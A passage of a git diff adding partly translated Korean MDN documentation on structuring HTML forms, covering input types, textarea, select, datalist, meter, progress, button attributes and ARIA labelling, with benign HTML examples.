+   <td>UTC 타임 존 기반으로 전체 날짜와 시간(시간, 분, 초 )을 입력 받기 위한 필드</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>datetime-local</code></td>
+   <td>타임존 기반이 아닌 날짜와 시간을 입력받기 위한 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>month</code></td>
+   <td>타임존 기반이 아닌 달과 년도를 입력 받기 위한 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>time</code></td>
+   <td>타임존 기반이 아닌 시간을 입력 받기 위한 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>week</code></td>
+   <td>타임존 기반이 아닌 전체 날짜를 일주일-년도 숫자로 주 번호를 입력하는 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("autocomplete","input")}}, {{htmlattrxref("list","input")}}, {{htmlattrxref("max","input")}}, {{htmlattrxref("min","input")}}, {{htmlattrxref("readonly","input")}}, {{htmlattrxref("required","input")}}</td>
+  </tr>
+  <tr>
+   <th colspan="4" style="text-align: center;">버튼</th>
+  </tr>
+  <tr>
+   <td><code>button</code></td>
+   <td>기본 행동이 없는 누르는 버튼</td>
+   <td> </td>
+   <td>{{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>image</code></td>
+   <td>그래픽적인 전송버튼</td>
+   <td>{{htmlattrxref("src","input")}}, {{htmlattrxref("alt","input")}}</td>
+   <td>{{htmlattrxref("width","input")}}, {{htmlattrxref("height","input")}}, {{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>reset</code></td>
+   <td>폼의 내용을 초기화 하는 컨트롤</td>
+   <td> </td>
+   <td>{{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}</td>
+  </tr>
+  <tr>
+   <td><code>submit</code></td>
+   <td>폼을 전송하는 버튼</td>
+   <td> </td>
+   <td>{{htmlattrxref("formaction","input")}}, {{htmlattrxref("formenctype","input")}}, {{htmlattrxref("formmethod","input")}}, {{htmlattrxref("formnovalidate","input")}}, {{htmlattrxref("formtarget","input")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><span style="line-height: 1.5;">몇가지 이유 때문에 브라우저에서 특정 type 속성의 값 설정을 지원하지 않으면 {{HTMLElement("input")}} 요소는  text 속성으로 렌더링 한다. </span>이것은 매력적이지 않아도 어쩔 수없이 폼이 작동하도록 한다.</p>
+
+<p>요소는 강력한 도구지만, 모든 것을 할수 없고 다른 것들을 다루기 위해 다른 요소들이 있다.</p>
+
+<h3 id="&lt;textarea>_요소" style="line-height: 24px;">&lt;textarea&gt; 요소</h3>
+
+<p>이 요소는 다중 텍스트 필드로 설정된다. 이 요소는 사용자가 입력한 텍스트에 줄 바꿈을 할수 있다는 것을 제외하고 단일 라인 텍스트 필드와 정확하게 똑같이 작동한다. 또한 여러줄에 걸처 랜더링을 제어 하기위해 몇가지 추가 속성 설정을 허락한다.</p>
+
+<table>
+ <caption> {{HTMLElement("textarea")}} 요소 속성</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("cols","textarea")}}</td>
+   <td><code>20</code></td>
+   <td>보여지는 문자 너비의 평균을 기준으로 텍스트 컨트롤의 너비</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("rows","textarea")}}</td>
+   <td> </td>
+   <td>보여지는 텍스트 행의 수</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("wrap","textarea")}}</td>
+   <td><code>soft</code></td>
+   <td>hard, soft 이 둘중 하나의 값으로 어떻게 텍스트를 둘러쌀것인지 나타낸다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> {{HTMLElement("textarea")}} 요소는 {{HTMLElement("input")}} 요소와 다르게 작동한다. {{HTMLElement("input")}} 요소는 자동으로 닫히는 요소이다. 이는 자식 요소를 가질 수 없다는 것을 의미한다. 이와 반대로 요소는 text 콘텐츠를 자식으로 가질 수 있는 일반적인 요소이다.</p>
+
+<p>이는 두가지 영향이 있다.</p>
+
+<ul>
+ <li>만약 {{HTMLElement("input")}}요소에 기본값을 정의하기 원한다면, value 속성을 사용하여 지정해야 되나, {{HTMLElement("textarea")}}요소에서는 기본값을 {{HTMLElement("textarea")}} 태그 사이에 넣기만 하면된다.</li>
+ <li>자연스러움 때문에  {{HTMLElement("textarea")}} 요소는 오직 텍스트 콘텐츠만 받아들인다. 이 의미는 어떠한 HTML콘텐츠도  {{HTMLElement("textarea")}} 요소에 넣으면 텍스트 콘텐츠로 렌더링 된다.</li>
+</ul>
+
+<p> 예제를 따라가면 다음 두 요소는 똑같이 랜더링 되어 질것이다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="text_1"&gt;With regular HTML&lt;/label&gt;&lt;br&gt;
+    &lt;textarea id="text_1" name="regular"&gt;&lt;p&gt;I'm a paragraphe&lt;/p&gt;&lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="text_2"&gt;With escaped HTML&lt;/label&gt;&lt;br&gt;
+    &lt;textarea id="text_2" name="escaped"&gt;&amp;lt;p&amp;gt;I'm a paragraphe&amp;lt;/p&amp;gt;&lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;button&gt;Send me&lt;/button&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="&lt;select>_&lt;option>그리고_&lt;optgroup>_요소" style="line-height: 24px;">&lt;select&gt;, &lt;option&gt;그리고 &lt;optgroup&gt; 요소</h3>
+
+<p>요소는 선택 박스를 만들 수 있게 해준다(떄로는 콤보 박스라고 한다). 선택 박스는 사용자가 하나 이상 미리 정의 된 값을 선택하는 위젯이다. 단일 값 선택  박스와 다중 값 선택 박스는 다르다. 이에 대한 자세한 내용은 다음 문서를 확인해라 <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">The native form widgets</a>.</p>
+
+<p>선택 박스 안의 값들은  {{HTMLElement("option")}} 요소에서 정의되고 {{HTMLElement("optgroup")}} 요소 안에서 그룹화 될 수 있다.</p>
+
+<p>Let's take an example:</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="myFruit"&gt;Pick a fruit&lt;/label&gt;
+    &lt;select id="myFruit" name="fruit"&gt;
+      &lt;!-- There is a trick here you think you'll pick
+         a banana but you'll eat an orange &gt;:-) --&gt;
+      &lt;option value="orange"&gt;Banana&lt;/option&gt;
+      &lt;option&gt;Cherry&lt;/option&gt;
+      &lt;optgroup label="berries"&gt;
+        &lt;option&gt;Blueberry&lt;/option&gt;
+        &lt;option&gt;Raspberry&lt;/option&gt;
+        &lt;option&gt;Strawberry&lt;/option&gt;
+      &lt;/optgroup&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p><span style="line-height: 1.5;">{HTMLElement("option")}} 요소는 폼이 전송되면 전송될 value속성을 설정한다.</span> <span style="line-height: 1.5;">만약 value 속성을 바뜨리면 {{HTMLElement("option")}} 요소는 value 값을 선택 박스 값으로 사용된다.</span></p>
+
+<p><span style="line-height: 1.5;">{{HTMLElement("optgroup")}} 요소의 라벨 속성은 값이 나오기전에 보여주고 옵션 같은 요소들은 선택할 수 없게 나온다.</span>.</p>
+
+<table>
+ <caption>{{HTMLElement("option")}} 요소 의 속성</caption>
+ <thead>
+  <tr>
+   <th scope="col">속성 이름</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("label","option")}}</td>
+   <td> </td>
+   <td>이 속성은 옵션을 설명하는 라벨의 텍스트이다. 만약 라벨 속성이 정의되지 않으면 이 값은 요소의 텍스트 콘텐츠로 설정된다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("selected","option")}}</td>
+   <td>(<em>false</em>)</td>
+   <td>만약 이 속성이 불리언 값으로 설정되는 경우 처음에 선택된 상태로 시작하게된다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Attributes for the {{HTMLElement("optgroup")}} element</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">Default value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("label","optgroup")}}</td>
+   <td> </td>
+   <td>The name of the group of options. <strong>This attribute is mandatory.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="&lt;datalist>요소" style="line-height: 24px;">&lt;datalist&gt;요소 </h3>
+
+<p>이 요소는 기존에 있는 위젯들에 사전 설정 값을 제공 함으로써 위젯들을 확장시킨다. 가장 잘 알려진 사용 방법은 텍스트 필드의 자동 완성 목록이다. 값들은 {{HTMLElement("datalist")}} 요소 안에 있는 {{HTMLElement("option")}}요소의 값으로 사용할 수 있다.</p>
+
+<p>{{HTMLElement("datalist")}}요소와 바인드 하기위해서는 사용하는 요소의 list속성을 이용하여 설정해야한다. 이 속성은 {{HTMLElement("datalist")}} 요소의 id로 설정된다.</p>
+
+<p>요소는 최근에 HTML 폼으로 추가 되었다. 그러므로 아직 이를 지원하지 않는 브라우저들도 있다. 이 문제를 처리하기 위하여 아래에 약간 까다로운 예제가 있다.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="myFruit"&gt;What is your favorite fruit?&lt;/label&gt;
+    &lt;input type="text" id="myFruit" name="fruit" list="fruitList" /&gt;
+
+    &lt;datalist id="fruitList"&gt;
+      &lt;label for="suggestion"&gt;or pick a fruit&lt;/label&gt;
+      &lt;select id="suggestion" name="altFruit"&gt;
+        &lt;option value="banana"&gt;Banana&lt;/option&gt;
+        &lt;option value="cherry"&gt;Cherry&lt;/option&gt;
+        &lt;option value="strawberry"&gt;Strawberry&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/datalist&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>한편 {{HTMLElement("datalist")}} 요소를 지원하는 브라우저는 {{HTMLElement("option")}} 요소를 무시하고 이를 사용하는 요소를 확장 할 것이다. 이와 반대로 {{HTMLElement("datalist")}} 요소를 지원하지 않는 브라우저는 라벨과 선택 박스를 표시 할 것이다. 물론 {{HTMLElement("datalist")}} 요소를 지원하지 않는 브라우저에 대해 자바스크립트로 하는 다른 방법이 있지만 항상 자바스크립트만 사용하는 것은 좋은 것이 아니다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="row">Safari 6</th>
+   <td><img alt="Screenshot of the datalist element fallback with Safari on Mac OS" src="/files/4583/datalist-safari.png" style="height: 32px; width: 495px;"></td>
+  </tr>
+  <tr>
+   <th scope="row">Firefox 18</th>
+   <td><img alt="Screenshot of the datalist element with Firefox on Mac OS" src="/files/4581/datalist-firefox-macos.png" style="height: 102px; width: 353px;"></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="&lt;meter>_와_&lt;progress>_요소들" style="line-height: 24px;">&lt;meter&gt; 와 &lt;progress&gt; 요소들 </h3>
+
+<p>이 두요소는 그래픽적으로 숫자 값을 표현 하는방법이다. 이 두 요소의 차이점은 두 요소의 의미가 다르다는 것이다.</p>
+
+<ul>
+ <li>{{HTMLElement("meter")}} 요소는 정적인 값을 최소와 최대 값사이에 상대적인 위치를 나타낸다</li>
+ <li>The {{HTMLElement("progress")}} 요소는 최소와 최대값을 시간에 따라 바뀌는 가변적인 값을 나타낸다. 값이 변하면 자바스크립트를 이용하여 다룰수 있다는것을 주목할 필요가 있다. 요소 자신은 값을 변화시키기 위한 어떠한 매커니즘도 가지고 있지 않다.</li>
+</ul>
+
+<p>속성으로 인해 이 요소들은 다음 속성을 지정 가능하다.</p>
+
+<p><br>
+ <strong style="font-style: inherit; font-weight: bold; line-height: 1.5;">{{HTMLElement("meter")}} 요소는 다음과 같은 속성을 가진다</strong></p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">Default value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("min","meter")}}</td>
+   <td>0</td>
+   <td>The lower numeric bound of the measured range.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("max","meter")}}</td>
+   <td>1</td>
+   <td>The upper numeric bound of the measured range.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("low","meter")}}</td>
+   <td>the <code>min</code> value</td>
+   <td>The upper numeric bound of the low end of the measured range.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("high","meter")}}</td>
+   <td>the <code>max</code> value</td>
+   <td>The lower numeric bound of the high end of the measured range.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("optimum","meter")}}</td>
+   <td> </td>
+   <td>The optimal numeric value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Attributes for the {{HTMLElement("progress")}} element</caption>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">Default value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("max","progress")}}</td>
+   <td> </td>
+   <td>This attribute describes how much work the task indicated by the {{HTMLElement("progress")}} element requires before it's complete.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="The_&lt;button>_element" style="line-height: 24px;">The &lt;button&gt; element </h3>
+
+<p>{{HTMLElement("button")}} 요소는 폼 버튼을 만드는 가장 쉬운 방법이다. <span style="line-height: 1.5;">버튼은 type속성에 따라 3가지 타입을 가진다.</span></p>
+
+<ul>
+ <li>전송 버튼은 폼 데이터들을 {{HTMLElement("form")}}요소에 action 속성에 정의 된 웹 페이지에 보낸다.</li>
+ <li>리셋 버튼은 폼의 모든 위젯들을 기본 값으로 재설정한다. 폼 사용자 경험 관점에서 이 버튼을 사용하는것은 좋지 않은 사례로 간주되고 이를 피해야 한다. 이것은 사용자가 단순히 실수로 한것이 모든 작업을 잃게 할 수 있다.</li>
+ <li>익명 버튼은 어떠한 의미도 없는 대신 자바스크립트를 이용하여 다룰 수 있다..</li>
+</ul>
+
+<p><br>
+ <strong style="font-style: inherit; font-weight: bold; line-height: 1.5;">{HTMLElement("button")}} 요소의 속성</strong></p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">속성 이름</th>
+   <th scope="col">기본값</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{htmlattrxref("type","button")}}</td>
+   <td><code>submit</code></td>
+   <td>버튼의 타입.  <code>button</code>, <code>reset</code>, <code>submit 이 있다.</code></td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("formaction","button")}}</td>
+   <td> </td>
+   <td>만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 action 속성에 오버라이드 된다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("formenctype","button")}}</td>
+   <td> </td>
+   <td>만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 enctype 속성에 오버라이드 된다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("formmethod","button")}}</td>
+   <td> </td>
+   <td>만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 method 속성에 오버라이드 된다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("formnovalidate","button")}}</td>
+   <td> </td>
+   <td>만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 novalidate 속성에 오버라이드 된다.</td>
+  </tr>
+  <tr>
+   <td>{{htmlattrxref("formtarget","button")}}</td>
+   <td> </td>
+   <td>만약 버튼이 submit 버튼이면 이 속성은  {{HTMLElement("form")}}요소의 target 속성에 오버라이드 된다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>기술적으로 말하면 {{HTMLElement("button")}} 요소와 {{HTMLElement("input")}} 요소의 속성에 정의된 버튼 요소는 거의 차이가 없다. 단 한가지 차이점은 버튼 자체의 라벨 이다.요소 안에서는 라벨은 오직 문자 데이터로만 나타 낼 수 있지만 {{HTMLElement("button")}} 요소에서는 어떠한 HTML이 될 수있다. 그래서 이에 따른 스타일을 디자인 할 수있다.</p>
+
+<div class="note"><strong>Note:</strong> For historical reasons, the {{HTMLElement("button")}} element wasn't used very often and in many forms developers preferred to use buttons made with the {{HTMLElement("input")}} element. This is due to a bug in legacy versions of Internet Explorer (IE). In IE6 and IE7, if you add a <code>name</code> and a <code>value</code> attribute to a {{HTMLElement("button")}} element, they do not send the content of the <code>value</code> attribute but the raw content of the button instead. This has been fixed since IE8, so there is no longer any reason to avoid using the {{HTMLElement("button")}} element.</div>
+
+<div class="note"> </div>
+
+<h3 id="공통_속성" style="line-height: 24px;">공통 속성</h3>
+
+<p>Many of the elements used to define form widgets have some their own attributes. However, there is a set of attributes common to all form elements that give you some control over those widgets. Here is a list of those common attributes:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Attribute name</th>
+   <th scope="col">Default value</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>(<em>false</em>)</td>
+   <td>This Boolean attribute lets you specify that the element should automatically have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>(<em>false</em>)</td>
+   <td>This Boolean attribute indicates that the user cannot interact with the element. If this attribute is not specified, the element inherits its setting from the containing element, for example {{HTMLElement("fieldset")}}; if there is no containing element with the <code>disabled</code> attribute set, then the element is enabled.</td>
+  </tr>
+  <tr>
+   <td><code>form</code></td>
+   <td> </td>
+   <td>The form element that the widget is associated with. The value of the attribute must be the <code>id</code> attribute of a {{HTMLElement("form")}} element in the same document. In theory, it lets you set a form widget outside of a {{HTMLElement("form")}} element. In practice, however, there is no browser which supports that feature.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td> </td>
+   <td>The name of the element; this is submitted with the form data.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td> </td>
+   <td>The element's initial value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Using_ARIA_to_structure_HTML_forms" style="line-height: 30px;">Using <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> to structure HTML forms</h2>
+
+<p><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> is <a href="http://www.w3.org/TR/wai-aria/" rel="external" title="http://www.w3.org/TR/wai-aria/">a W3C Candidate Recommendation</a> which adds to HTML improved accessibility for rich Internet applications, including for forms. We will discuss its use in more detail in the "<a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a>" article, but there are some basics that are good to know.</p>
+
+<p>Before going further, it's worth noting that support for ARIA and assistive technologies among browsers is far from perfect, but it's improving. Just to understand the issue, when a browser encounters an ARIA attribute, it has to send information to the operating system's accessibility layer. Not all browsers are good at doing this cross platform. The assistive technologies, on their own, have to connect themselves to the OS accessibility layer to handle the information that comes from the browsers. Surprisingly, not all assistive technologies do it well. So using ARIA does not mean that your web application will be accessible, but it means that you do your best to achieve this. Unfortunately, for the time being, ARIA remains a best effort technology, but it's always better than nothing.</p>
+
+<p>If you want to dig into using ARIA with HTML forms, feel free to <a href="/en-US/docs/Accessibility/ARIA/forms" title="/en-US/docs/Accessibility/ARIA/forms">read the related section in the ARIA documentation</a>.</p>
+
+<h3 id="The_aria-labelledby_attribute" style="line-height: 24px;">The <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute"><code>aria-labelledby</code></a> attribute</h3>
+
+<p>This attribute is a convenient way to define a label without using the {{HTMLElement("label")}} element. The attribute is set on the widget element and references the <code>id</code> attribute of the element to use as a label.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p id="fruitLabel"&gt;What's your favorite fruit&lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="text" name="fruit" aria-labelledby="fruitLabel"&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>Conceptually, it's the opposite of the <code>for</code> attribute on the {{HTMLElement("label")}} element. With the <code>for</code> attribute, you reference the <code>id</code> of the widget but with the <code>aria-labbeldby</code> attribute, you reference the <code>id</code> of the label.</p>
+
+<h3 id="The_aria-describedby_attribute" style="line-height: 24px;">The <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute"><code>aria-describedby</code></a> attribute</h3>
+
+<p>This attribute works like the <code>aria-labelledby</code> attribute. The difference is mainly semantic. A label defines the essence of an object, while a description provides more information that the user might need. This attribute is not advised for form elements, you should rely on the <code>aria-labelledby</code> attribute, except if you want to provide extensive information on the current form element. It is to be used as a provider for a longer description.</p>
+
+<h3 id="The_aria-label_attribute" style="line-height: 24px;">The <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-label_attribute"><code>aria-label</code></a> attribute</h3>
+
+<p>This attribute is used when there is no explicit label in the DOM for a given widget. It lets you provide a widget that will be passed to assitive technologies without actually creating a DOM node for it.</p>
+
+<pre class="brush:html;" style="font-size: 14px;">&lt;form&gt;
+  &lt;p&gt;
+    &lt;input type="search" name="q" aria-label="Search" /&gt;
+    &lt;input type="submit" value="Go" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="The_role_attribute" style="line-height: 24px;">The <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques"><code>role</code></a> attribute</h3>
+
+<p>This is the most important ARIA attribute. It lets you give specific semantic information, understandable by assitive technologies, for a given HTML element. There are many roles available and some of them are dedicated to form widgets.</p>
+
+<p>ARIA tries to provide semantics for widgets that are not currently available in HTML as well as for elements that already exist. We will see in detail how to use those roles in the article: How to build custom form widgets.</p>
+
+<p>Those roles for form widgets are :</p>
+
+<ul>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role">Button</a></li>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_checkbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_checkbox_role">Checkbox</a></li>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_progressbar_role">Progressbar</a></li>
+ <li>Radio</li>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_slider_role">Slider</a></li>
+ <li>Spinbutton</li>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_textbox_role">textbox</a></li>
+</ul>
+
+<p>It's also worth noting that there's something called a composite role:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques/Using_the_listbox_role">Listbox</a></li>
+ <li>Radiogroup</li>
+</ul>
+
+<p>If those roles are extremely useful, know that <a href="/en-US/docs/Accessibility/ARIA/ARIA_Techniques" title="/en-US/docs/Accessibility/ARIA/ARIA_Techniques">there are more</a>; ARIA is a very large specification. Digging into it can help you improve accessibility in areas far afield from HTML forms.</p>
+
+<h2 id="결론" style="line-height: 30px;">결론</h2>
+
+<p>You now have all the knowledge to properly structure your HTML forms; the next article will dig into implementation details and functional expectations: <a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">The native form widgets</a>.</p>
+
+<h2 id="볼거리" style="line-height: 30px;">볼거리</h2>
+
+<ul>
+ <li><a href="http://www.alistapart.com/articles/sensibleforms/" rel="external" title="http://www.alistapart.com/articles/sensibleforms/">A List Apart: <em>Sensible Forms: A Form Usability Checklist</em></a></li>
+</ul>
diff --git a/files/ko/learn/html/forms/index.html b/files/ko/learn/html/forms/index.html
new file mode 100644
index 0000000000..f7244cbdc1
--- /dev/null
+++ b/files/ko/learn/html/forms/index.html
@@ -0,0 +1,358 @@
+---
+title: HTML 폼 가이드
+slug: Learn/HTML/Forms
+translation_of: Learn/Forms
+---
+<p><span class="seoSummary">이 가이드는 HTML 폼을 숙달 시키는데 도움이 되는 문서입니다.</span> HTML 폼은 사용자와 상호작용할 수 있는 매우 강력한 도구입니다. 그러나 역사적으로 나 기술적인 이유로 사용자에게 항상 명확하게 기능을 제공할 수 있는 것은 아닙니다. 이 가이드에서 HTML 폼 관점에서 스타일 구조, 사용자 위젯으로 데이터 다루기 등 모든 것을 다룰 것입니다. 이러한 강력한 기술들을 즐기길 바랍니다!</p>
+
+<h2 id="항목" style="line-height: 30px; font-size: 2.14285714285714rem;">항목</h2>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/HTML/%ED%8F%BC/My_first_HTML_form">나의 첫 HTML 폼</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form" title="/en-US/docs/HTML/Forms/How_to_structure_an_HTML_form">HTML HTML 폼 구성 방법</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/The_native_form_widgets" title="/en-US/docs/HTML/Forms/The_native_form_widgets">기본 폼 위젯</a></li>
+ <li>CSS와 HTML 폼
+  <ol>
+   <li><a href="/en-US/docs/HTML/Forms/Styling_HTML_forms" title="/en-US/docs/HTML/Forms/Styling_HTML_forms">HTML 폼 스타일</a></li>
+   <li><a href="/en-US/docs/Web/Guide/HTML/Forms/Advanced_styling_for_HTML_forms" title="/en-US/docs/Advanced_styling_for_HTML_forms">HTML 폼을 위한 고급 스타일</a></li>
+   <li><a href="/en-US/docs/Property_compatibility_table_for_form_widgets" title="/en-US/docs/Property_compatibility_table_for_form_widgets">폼 위젯을 위한 호환성 테이블 속성</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data" title="/en-US/docs/HTML/Forms/Sending_and_retrieving_form_data">데이터 주고 받기</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/Data_form_validation" title="/en-US/docs/HTML/Forms/Data_form_validation">데이터 유효성 검사</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">사용자 폼 위젯 만드는 방법</a></li>
+ <li><a href="/en-US/docs/HTML/Forms/Sending_forms_through_JavaScript" title="/en-US/docs/HTML/Forms/Sending_forms_through_JavaScript">자바스크립트를 통해서 폼 전달 하기</a>
+  <ol>
+   <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects">FormData 객체 사용</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/HTML/Forms/HTML_forms_in_legacy_browsers" title="/en-US/docs/HTML/Forms/HTML_forms_in_legacy_browsers">기존 브라우저에서 HTML 폼</a></li>
+</ol>
+
+<h2 id="HTML_문서" style="line-height: 30px; font-size: 2.14285714285714rem;">HTML 문서</h2>
+
+<h3 id="HTML_요소" style="line-height: 24px; font-size: 1.71428571428571rem;">HTML 요소</h3>
+
+<table>
